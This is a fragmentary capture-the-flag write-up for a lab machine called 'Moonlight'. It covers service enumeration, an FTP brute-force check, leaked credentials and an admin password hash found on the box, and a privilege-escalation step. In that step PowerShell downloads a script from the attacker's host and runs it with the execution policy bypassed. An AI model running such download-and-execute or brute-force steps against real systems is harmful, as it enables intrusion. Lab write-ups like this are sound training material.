WizardSecLabs Writeups

Writeups for all the WizardSecLabs boxes I have solved

View on GitHub

Moonlight

MACHINE IP: 10.1.1.58

DATE: 17/05/2019

START TIME: 1:40


NMAP

hmm…lot of different services running.

So we need to start 3 process:

1) dirsearch to enum the website on port 8080

2) enum4linux to get some more info

3) nmap’s ftp-brute script to see if FTP allows anonymous login

dirsearch

No valid account found

In access.txt

Dear  Helper , Thank you for your motivation .

the credentials to pass the authentification page are the following collaborator:secret .

The password for the Administrative Access on the Content Management System is the same ,

Marco

Listen

Listen

<?xml version="1.0"?>
<item>
    <USR>admin</USR>
    <PWD>e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4</PWD>
    <EMAIL>admin@moonlight.net</EMAIL>
    <HTMLEDITOR>1</HTMLEDITOR>
    <TIMEZONE/>
    <LANG>en_US</LANG>
</item>

But we already knows that

Listen

Privilege escalation

powershell.exe
Invoke-WebRequest http://10.254.0.6:8000/winenum.ps1 -outfile enum.ps1
exit

powershell.exe -ExecutionPolicy Bypass -File .\enum.ps1

Enumerate